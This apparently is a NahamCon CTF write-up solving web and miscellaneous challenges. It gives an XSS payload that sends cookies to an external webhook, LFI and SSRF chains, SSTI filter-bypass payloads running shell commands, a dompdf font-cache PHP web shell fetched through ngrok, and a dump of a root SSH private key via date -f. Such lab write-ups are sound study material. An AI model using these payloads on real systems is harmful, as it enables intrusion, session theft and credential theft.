This is a CTF hosted for Nahamcon.
Web
Star Wars - Medium
We have a webpage with a blog post with a star wars theme.
We can click the only blog post this blog has. We can post a comment that an admin can review.
We can exploit this via a reflected XSS. We set up a webhook URL ( https://webhook.site/d0d94bf9-e7cf-4e17-8f12-d4eae3541057) where the admin cookies can be sent to.
The payload tries to load an image from our server, and concatenates the cookies of the webpage that this code is being loaded on. If the admin reviews this comment, this code will be ran and we will see their cookies on our webhook server via an URL request.
1
<script>var i=new Image(); i.src="https://webhook.site/d0d94bf9-e7cf-4e17-8f12-d4eae3541057/?cookie="+document.cookie;</script>
We will receive two requests on our webhook server, the first contains our own cookie as the code is being loaded right away. After a few seconds, we get another request which is the one of the admin who is reviewing our comment.
1
https://webhook.site/d0d94bf9-e7cf-4e17-8f12-d4eae3541057/?cookie=x-wing=eyJfcGVybWFuZW50Ijp0cnVlLCJpZCI6MX0.ZJRNfQ.n7sVecPoo_6auPKEcGjerTTD4m0
We can now use the cookie value (eyJfcGVybWFuZW50Ijp0cnVlLCJpZCI6MX0.ZJRNfQ.n7sVecPoo_6auPKEcGjerTTD4m0
) and update the x-wing
key in our own cookie via the browser tools.
When we refresh the page, we notice an admin panel has become available.
When we go to that admin panel, we get the flag.
Museum - Medium
We have a webpage with an overview of images.
When you click an item you get a detailed view. The url is http://challenge.nahamcon.com:30127/browse?artifact=angwy.jpg
We can perform an LFI through the artifact
parameter. Some payloads don’t seem to work such as:
- ../
- encoding
- double url encoding
What did work was either //
or /./
, the payload browse?artifact=/./etc/passwd
will provide us the etc/passwd
file.
We can find the location of the source code via:
/proc/self/cmdline
as it represents the command-line arguments passed to the current process./proc/self/environ
which contains the environment variables associated with the current process.
The payload browse?artifact=/./proc/self/cmdline
. Provides us the output:
1
Path: /home/musem/app.py
We get the source code of the app.py file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from flask import Flask, request, render_template, send_from_directory, send_file, redirect, url_for
import os
import urllib
import urllib.request
app = Flask(__name__)
@app.route('/')
def index():
artifacts = os.listdir(os.path.join(os.getcwd(), 'public'))
return render_template('index.html', artifacts=artifacts)
@app.route("/public/<file_name>")
def public_sendfile(file_name):
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return "Error retrieving file", 404
return send_file(file_path)
@app.route('/browse', methods=['GET'])
def browse():
file_name = request.args.get('artifact')
if not file_name:
return "Please specify the artifact to view.", 400
artifact_error = "<h1>Artifact not found.</h1>"
if ".." in file_name:
return artifact_error, 404
if file_name[0] == '/' and file_name[1].isalpha():
return artifact_error, 404
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return artifact_error, 404
if 'flag.txt' in file_path:
return "Sorry, sensitive artifacts are not made visible to the public!", 404
with open(file_path, 'rb') as f:
data = f.read()
image_types = ['jpg', 'png', 'gif', 'jpeg']
if any(file_name.lower().endswith("." + image_type) for image_type in image_types):
is_image = True
else:
is_image = False
return render_template('view.html', data=data, filename=file_name, is_image=is_image)
@app.route('/submit')
def submit():
return render_template('submit.html')
@app.route('/private_submission_fetch', methods=['GET'])
def private_submission_fetch():
url = request.args.get('url')
if not url:
return "URL is required.", 400
response = submission_fetch(url)
return response
def submission_fetch(url, filename=None):
return urllib.request.urlretrieve(url, filename=filename)
@app.route('/private_submission')
def private_submission():
if request.remote_addr != '127.0.0.1':
return redirect(url_for('submit'))
url = request.args.get('url')
file_name = request.args.get('filename')
if not url or not file_name:
return "Please specify a URL and a file name.", 400
try:
submission_fetch(url, os.path.join(os.getcwd(), 'public', file_name))
except Exception as e:
return str(e), 500
return "Submission received.", 200
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=5000)
We can perform an SSRF on the /private_submission_fetch
endpoint by using the URL: http://challenge.nahamcon.com:32512/private_submission_fetch?url=http%3A%2F%2F127.0.0.1%3A5000%2Fprivate_submission%3Ffilename%3Dflag.pwn%26url%3Dfile%253A%252F%252F%252Fflag.txt
- The
url
parameter is included to specify the URL to be fetched. In this case, it is set to http://127.0.0.1:5000/private_submission?filename=flag.pwn&url=file:///flag.txt. - The http://127.0.0.1:5000/private_submission URL is a local URL on the vulnerable server itself, which triggers the vulnerable endpoint in the application.
- The
filename
parameter is set to flag.pwn, and theurl
parameter is set tofile:///flag.txt
. This means that the server will attempt to fetch the file flag.txt from the local file system using thefile://
scheme. - The Flask application restricts access to the
/private_submission endpoint
to requests originating from 127.0.0.1 (localhost). However, since the SSRF payload originates from the vulnerable server itself (http://challenge.nahamcon.com:32512), the request will be considered as coming from 127.0.0.1. - The
submission_fetch
function is called with the provided url parameter, and the function attempts to retrieve the file from the specified URL usingurllib.request.urlretrieve
. The retrieved file is saved in the public directory with the specified file_name (flag.pwn in this case).
An “Internal Server Error” will be thrown but you will be able to access the new flag artifact on the overview screen.
Obligatory - Medium
We get a website that is a to-do list. When creating a task a message that comes from the success
parameter (http://challenge.nahamcon.com:31362/?success=Task%20created) is shown on the webpage.
We can try to trigger an Server-Side Template Injection: http://challenge.nahamcon.com:31362/?success={{4*2}} .
When trying out to see if special characters pass {{<%[%'"}}
. We get a WAF error message:
1
2
3
4
Bad Request
HACKER DETECTED!!!!
The folowing are not allowed: [ {{\s*config\s*}},.*class.*,.*mro.*,.*import.*,.*builtins.*,.*popen.*,.*system.*,.*eval.*,.*exec.*,.*\..*,.*\[.*,.*\].*,.*\_\_.* ]
There are bypasses in HackTricks and on PayloadAllTheThings
We still need to modify these as some keywords are blocked. We can do this by hex encoding or string concatenation.
There are two methods to solving this challenge.
Intended way
We try to get the output of the config via {{config.items()}}
but it is blocked. We can achieve a similar output by calling the __dict__
attribute on the self
object.
__dict__
is a special attribute that holds the dictionary of attributes and their values for an object. By accessingself.__dict__
, you can retrieve the dictionary that represents the internal state of the object.
We can’t use _
so we need to hex encode it to \x5f
. The final payload is {{self|attr("\x5f\x5fdict\x5f\x5f")}}
We get the SECRET_KEY
, which we can use to forge our own cookies using the flask-unsign tool. This is a command line tool to fetch, decode, brute-force and craft session cookies of a Flask application.
1
2
$ flask-unsign --sign --cookie "{'id':1}" --secret ">HN&Ngup3WqNm6q\$5nPGSAoa7SaDuY"
ey3aggI6MIX6.ZIyija.1gemB1NNu5gd6NigialakXabcga
Replace the cookie with the newly created one and the flag should be visible as a todo upon refreshing.
Unintended way
We can list the current directory via {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuil'+'tins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimp'+'ort\x5f\x5f')('os')|attr('pop'+'en')('id')|attr('read')()}}
We need to do the strings command on the sqllite database to get the flag via the command strings DB/*
. This needs to be hex encoded as no slashes or spaces are allowed.
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuil'+'tins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimp'+'ort\x5f\x5f')('os')|attr('pop'+'en')('\x73\x74\x72\x69\x6e\x67\x73\x20\x44\x42\x2f\x2a')|attr('read')()}}
Sticker - Hard
We get a webpage where you can order stickers for your organization.
When pressing submit, you get a pdf containing the quote of your order.
We can analyse this pdf with exiftool
and find out dompdf
was used.
Orignally, I found this because I was entering xss payloads and got the error “Unable to stream pdf: headers already sent” which was related to dompdf
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ exiftool quote.pdf
ExifTool Version Number : 12.49
File Name : quote.pdf
Directory : .
File Size : 2.6 kB
File Modification Date/Time : 2023:06:21 16:41:28+02:00
File Access Date/Time : 2023:06:21 16:41:29+02:00
File Inode Change Date/Time : 2023:06:21 16:41:28+02:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Producer : dompdf 1.2.0 + CPDF
Create Date : 2023:06:21 14:41:10+00:00
Modify Date : 2023:06:21 14:41:10+00:00
Title : Quote
We find this resource that can exploit this library. Following the steps mentioned in the blog post:
We start a web server and ngrok so it’s accessible from the outside.
We create a malicious ttf file where we insert php code at the bottom of the file that will allow us to execute commands on the server.
1 2 3 4 5 6 7 8 9 10 11
$ cat exploit_font. php � dum1�cmap `�,glyf5sc��head�Q6�6hhea��($hmtxD ... :8L�� :D 6 s <?php system($_GET['cmd']); ?>
We set up a custom css file that will be calling our malicious ttf file on our ngrok server.
1 2 3 4 5 6
@font-face { font-family:'exploitfont'; src:url('https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app/exploit_font.php'); font-weight:'normal'; font-style:'normal'; }
We insert the call (
<link rel=stylesheet href='https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app/exploit.css'>
) to our custom css inquote.php
call: http://challenge.nahamcon.com:32325/quote.php?organisation=%3Clink%20rel=stylesheet%20href=%27https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app/exploit.css%27%3E&email=abc%40xyz.com&small=0&medium=0&large=0We can see the request worked as we have two requests in ngrok.
1 2 3 4 5 6 7 8 9 10
ngrok (Ctrl+C to quit) Send your ngrok traffic logs to Datadog: https://ngrok.com/blog-post/datadog-logs Web Interface http://127.0.0.1:4040 Forwarding https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app ------------- GET /exploit.css 200 OK GET /exploit_font.php 200 OK
Locate our malicious ttf file on the server as it has the format: “name+font_normal_md5(source_url)”. We first have to get the md5 hash of our source url.
1 2
$ echo -n https://fd9b-2a02-a03f-e416-1500-4555-235b-a2b8-74a7.ngrok-free.app/exploit_font.php | md5sum ca2ef7add169164f27b92b1d24b96853 -
Now we can do the request to get the flag: http://challenge.nahamcon.com:32325/dompdf/lib/fonts/exploitfont_normal_ca2ef7add169164f27b92b1d24b96853.php?cmd=cat+/flag.txt
Miscellaneous
Zombie - Easy
We get access to an SSH. We find a script in the home directory that keep the flag.txt file in memory but afterwards delete the file. If we can find the process in memory, we can retrieve the file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ssh -p 31871 user@challenge.nahamcon.com
user@zombie:~$ ls -lah
total 24
drwxr-sr-x 1 user user 4.0K Jun 23 12:54 .
drwxr-xr-x 1 root root 4.0K Jun 14 17:52 ..
-rwxr-xr-x 1 user user 3.8K Jun 14 17:52 .bashrc
-rw-r--r-- 1 user user 17 Jun 14 17:52 .profile
-rwxr-xr-x 1 root root 131 Jun 14 17:52 .user-entrypoint.sh
user@zombie:~$ cat .user-entrypoint.sh
#!/bin/bash
nohup tail -f /home/user/flag.txt >/dev/null 2>&1 & #
disown
rm -f /home/user/flag.txt 2>&1 >/dev/null
bash -i
The nohup
command allows a command or process to continue running even after the terminal or shell that started it has been closed. Let’s find the right process.
1
2
3
4
5
6
7
8
9
exituser@zombie:~$ ps
PID USER TIME COMMAND
1 root 0:00 /usr/sbin/sshd -D -e
7 root 0:00 sshd: user [priv]
9 user 0:00 sshd: user@pts/0
10 user 0:00 {.user-entrypoin} /bin/bash /home/user/.user-entrypoint.sh
11 user 0:00 tail -f /home/user/flag.txt
13 user 0:00 bash -i
16 user 0:00 ps
The /proc
file system in Linux provides a way to access process-related information and resources as if they were regular files.
1
2
3
4
5
6
7
8
9
10
11
user@zombie:~$ cd /proc/11
user@zombie:/proc/11$ ls
arch_status cwd map_files oom_adj setgroups timens_offsets
attr environ maps oom_score smaps timers
auxv exe mem oom_score_adj smaps_rollup timerslack_ns
cgroup fd mountinfo pagemap stack uid_map
clear_refs fdinfo mounts personality stat wchan
cmdline gid_map mountstats projid_map statm
comm io net root status
coredump_filter limits ns schedstat syscall
cpuset loginuid numa_maps sessionid task
In the /proc/11/fd/3
path, we find a symbolic link representing the file descriptor 3 of process 11, which points to the deleted file containing the flag, allowing us to potentially access its contents.
1
2
3
4
5
6
7
8
9
10
11
user@zombie:/proc/11$ cd fd
user@zombie:/proc/11/fd$ ls -lah
total 0
dr-x------ 2 user user 0 Jun 23 12:56 .
dr-xr-xr-x 9 user user 0 Jun 23 12:55 ..
lr-x------ 1 user user 64 Jun 23 12:59 0 -> /dev/null
l-wx------ 1 user user 64 Jun 23 12:59 1 -> /dev/null
l-wx------ 1 user user 64 Jun 23 12:59 2 -> /dev/null
lr-x------ 1 user user 64 Jun 23 12:59 3 -> /home/user/flag.txt (deleted)
user@zombie:/proc/11/fd$ cat /proc/11/fd/3
flag{6387e800943b0b468c2622ff858bf744}
Wordle bash - Medium
We find a script in the user directory that let’s you guess a random date.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
user@wordle:~$ cat wordle_bash.sh
#!/bin/bash
YEARS=("2020" "2021" "2022" "2023" "2024" "2025")
MONTHS=("01" "02" "03" "04" "05" "06" "07" "08" "09" "10" "11" "12" )
DAYS=("01" "02" "03" "04" "05" "06" "07" "08" "09" "10" "11" "12" "13" "14" "15" "16" "17" "18" "19" "20" "21" "22" "23" "24" "25" "26" "27" "28" "29" "30" "31")
YEARS_SIZE=${#YEARS[@]}
YEARS_INDEX=$(($RANDOM % $YEARS_SIZE))
YEAR=${YEARS[$YEARS_INDEX]}
MONTHS_SIZE=${#MONTHS[@]}
MONTHS_INDEX=$(($RANDOM % $MONTHS_SIZE))
MONTH=${MONTHS[$MONTHS_INDEX]}
DAYS_SIZE=${#DAYS[@]}
DAYS_INDEX=$(($RANDOM % $DAYS_SIZE))
DAY=${DAYS[$DAYS_INDEX]}
TARGET_DATE="${YEAR}-${MONTH}-${DAY}"
gum style \
--foreground 212 --border-foreground 212 --border double \
--align center --width 50 --margin "1 2" --padding "2 4" \
'WORDLE DATE' 'Uncover the correct date!'
echo "We've selected a random date, and it's up to you to guess it!"
wordle_attempts=1
while [ $wordle_attempts -le 5 ]
do
echo "Attempt $wordle_attempts:"
echo "Please select the year you think we've chosen:"
chosen_year=$(gum choose ${YEARS[@]})
echo "Now, enter the month of your guess: "
chosen_month=$(gum choose ${MONTHS[@]})
echo "Finally, enter the day of your guess: "
chosen_day=$(gum choose ${DAYS[@]})
guess_date="$chosen_year-$chosen_month-$chosen_day"
if ! date -d $guess_date; then
echo "Invalid date! Your guess must be a valid date in the format YYYY-MM-DD."
exit
fi
confirmed=1
while [ $confirmed -ne 0 ]
do
gum confirm "You've entered '$guess_date'. Is that right?"
confirmed=$?
if [[ $confirmed -eq 0 ]]
then
break
fi
echo "Please select the date you meant:"
guess_date=$(gum input --placeholder $guess_date)
done
if [[ $(date $guess_date) == $(date -d $TARGET_DATE +%Y-%m-%d) ]]; then
gum style \
--foreground 212 --border-foreground 212 --border double \
--align center --width 50 --margin "1 2" --padding "2 4" \
"Congratulations, you've won! You correctly guessed the date!" 'Your flag is:' $(cat /root/flag.txt)
exit 0
else
echo "Sorry, that wasn't correct!"
echo "====================================="
fi
wordle_attempts=$((wordle_attempts+1))
done
gum style \
--foreground 212 --border-foreground 212 --border double \
--align center --width 50 --margin "1 2" --padding "2 4" \
"Sorry, you lost." "The correct date was $TARGET_DATE."
We notice it uses the date
command, which we could exploit to read any file.
When selecting a date, you have the option to input your own date if you deemed the inputted date incorrect. This is how we can exploit this script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
user@wordle:~$ ./wordle_bash.sh
╔══════════════════════════════════════════════════╗
║ ║
║ ║
║ WORDLE DATE ║
║ Uncover the correct date! ║
║ ║
║ ║
╚══════════════════════════════════════════════════╝
We've selected a random date, and it's up to you to guess it!
Attempt 1:
Please select the year you think we've chosen:
Now, enter the month of your guess:
Finally, enter the day of your guess:
Wed Jan 1 00:00:00 UTC 2020
You've entered '2020-01-01'. Is that right?
Yes No
Please select the date you meant:
> -f /root/flag.txt
date: invalid date ‘[ Sorry, your flag will be displayed once you have code execution as root ]’
Sorry, that wasn't correct!
=====================================
We need to take another route to get the flag, we could get the ssh key of the root user via -f /root/.ssh/id_rsa
.
The script outputs the private key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
date: invalid date ‘-----BEGIN OPENSSH PRIVATE KEY-----’
date: invalid date ‘b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn’
date: invalid date ‘NhAAAAAwEAAQAAAYEAxllMaPu/ewDglK/+qcskWbUTSiQtLBBX4Ls5EGWmGbTdKh7K7trC’
date: invalid date ‘Nht9hbSx8Ei4cLQWhbbwcvIqDAgrXYO9Vb/sr/BEyk1aVVTpFfLuFbsyZNZTqmONajdsf9’
date: invalid date ‘Kl/4Qy9u8/3duhBYaeV0Am4tK9mzM8/D2YbzmYD+pK8GFwJDQG5RdFstj6NxXjROAsaj8H’
date: invalid date ‘U7HHvkNFctEMMBmquAaG85DZO83ZUWWASB702UNrc701Mhdf7Ln92D2aEhwMisdBjK/F83’
date: invalid date ‘K71YIcrpkuDTQYhms4SGUlYIlUaIhridKH3m3BgCNhC5mjsy5IkV0VwG/SRxew0adhHxT+’
date: invalid date ‘Gc9izi2yy1uW1wrJT0u8ImQhTm35R+cLD+SpWJSHswDxygCVHTUvVIngNakJvWXRKDmS3N’
date: invalid date ‘PjIu9gaJ3D69Q3BDlxcbluhjl2Z/5nenryUZdoVORnCf75YiWgTtI/FhS7HnHyw69LaJoH’
date: invalid date ‘1NPGh/mV730OsnqtdakxkHXd3CDhcwY5QjvJlFEdAAAFgAlNDvEJTQ7xAAAAB3NzaC1yc2’
date: invalid date ‘EAAAGBAMZZTGj7v3sA4JSv/qnLJFm1E0okLSwQV+C7ORBlphm03Soeyu7awjYbfYW0sfBI’
date: invalid date ‘uHC0FoW28HLyKgwIK12DvVW/7K/wRMpNWlVU6RXy7hW7MmTWU6pjjWo3bH/Spf+EMvbvP9’
date: invalid date ‘3boQWGnldAJuLSvZszPPw9mG85mA/qSvBhcCQ0BuUXRbLY+jcV40TgLGo/B1Oxx75DRXLR’
date: invalid date ‘DDAZqrgGhvOQ2TvN2VFlgEge9NlDa3O9NTIXX+y5/dg9mhIcDIrHQYyvxfNyu9WCHK6ZLg’
date: invalid date ‘00GIZrOEhlJWCJVGiIa4nSh95twYAjYQuZo7MuSJFdFcBv0kcXsNGnYR8U/hnPYs4tsstb’
date: invalid date ‘ltcKyU9LvCJkIU5t+UfnCw/kqViUh7MA8coAlR01L1SJ4DWpCb1l0Sg5ktzT4yLvYGidw+’
date: invalid date ‘vUNwQ5cXG5boY5dmf+Z3p68lGXaFTkZwn++WIloE7SPxYUux5x8sOvS2iaB9TTxof5le99’
date: invalid date ‘DrJ6rXWpMZB13dwg4XMGOUI7yZRRHQAAAAMBAAEAAAGAECAzdPeUCOaN264hU2Gcz3RIIL’
date: invalid date ‘InQAVbd6hmX8hmhCwvAkfQR4dehx1ItmWgmoChtNFXYWtO9NwZAghp/3zV7aegZmoaKvkL’
date: invalid date ‘UT5e2DYmGCXeLNI7VBzVjZ9QQWYkBng+LShPYMoEjIP2J0bObTN6pH26cBF77VMD42Cw01’
date: invalid date ‘vrTO4z6ffbO/VQW8kk7zUV4f9vfjpJGyqx9enmsURs8PA1lDjLCIXYV2Sb/4EQzAHOCxyv’
date: invalid date ‘Zfv+LwCsvCIUqXNBVnO+N7hg5b/zh7gyvuzHq/vyOTjkNceQa7SZ/egeclWGkkYttUzUr1’
date: invalid date ‘0cveVqXTM2tfJhv8+cobJcmO7IccjsOyL+zYPR3mN/Q1nUvGyAERppXfhwTAZ5ljMRDkv/’
date: invalid date ‘KUy7IJ3Q9FnSVdqkni2u6ErHEer0/TKXAT92LYQXzTczd6hGvh+IADlmOLzU2d0RfkPZZ4’
date: invalid date ‘8GKvZfThN1OSMVpcwJMVeILWP6uz9WnnUAXgLIUriJK7rrsHpH0MNTmfTT9v5VSH3RAAAA’
date: invalid date ‘wB2od8rr4IU8AkpZ/kE9kY5a/INNsvSdUA6sn/5Fwso19fiPz2vYdP9fJMYjShV1wb8UFt’
date: invalid date ‘cajFvnnj2DnClU0imh1eC0fB5+vAmJvx8Qq9NWcmz7aejvZrBdIFbqGYr5krc5KvmizYVC’
date: invalid date ‘+tII4u4s5SFcvcZwmuIsWJQjbXA7VVa8v8Y10YJdeYsl3YpKqJdU0xPkt2Y2IgZxTJ4Dd9’
date: invalid date ‘MKgcPTBdOVuKA8r8ALCth9OV74k1GOEpLbDIY4gFiXbi7crQAAAMEA2Z0ZtNS6bUEq61DF’
date: invalid date ‘6758uI3wIeYe8NoGyxlH/oTGVqy5KfQ9vCochcSx0yov4MSZBY+foE8OAxNvAxBSV+2CnQ’
date: invalid date ‘4OHnZnKa9teSvphUCmnt4Va7CWRzmVmNiKlpMOky2P8Zfv3LdgpwrAbwxBL1HQv/eivXDm’
date: invalid date ‘0BQCxuiaOp5/3nz+K+IvA/cBhsJwS6bWMtAhcfzKfS7/NzgcLTtlVR1Li/vC/r69iDs/xi’
date: invalid date ‘zDGCjuOrjsWhqqIqjhMGZjguTz9Y+FAAAAwQDpVj6g1OSqzZ5Kw805VTcbRRTmiHb00hht’
date: invalid date ‘U4LYw5xV+1iNJ8/BijiIZaT/zXnZbzIzLBnPbzqNLW5sBPJ+eMo5wY5ZNKa/qMd4Rdj6Hx’
date: invalid date ‘pAVbuqv6sYPhj2Xl6R/yJUVRw6OGoIa0SEumrmXzbJTT25o9FgItuKOpRRWd9l4gB8Pa1I’
date: invalid date ‘LLomZzqAmpdZtcMX+ihYPAJL5UBGPkD4CO7JwHm+W36NpAEKhi/Fh6D/U/RPEtwXZEbaWY’
date: invalid date ‘vIJis7FbO7UrkAAAAJa2FsaUBrYWxpAQI=’
date: invalid date ‘-----END OPENSSH PRIVATE KEY-----’
Sorry, that wasn't correct!
=====================================
We now can store that private key, set permission to 600 to avoid the “too open” error and then ssh into root with the -i id_rsa
argument.
1
2
3
4
5
6
7
8
9
10
$ chmod 600 id_rsa
$ ssh -p 30323 root@challenge.nahamcon.com -i id_rsa
root@wordle:~# cat /root/flag.txt
[ Sorry, your flag will be displayed once you have code execution as root ]
root@wordle:~# ls
flag.txt get_flag_random_suffix_345674837560870345
root@wordle:~# ./get_flag_random_suffix_345674837560870345
Please press Enter within one second to retrieve the flag.
flag{2b9576d1a7a631b8ce12595f80f3aba5}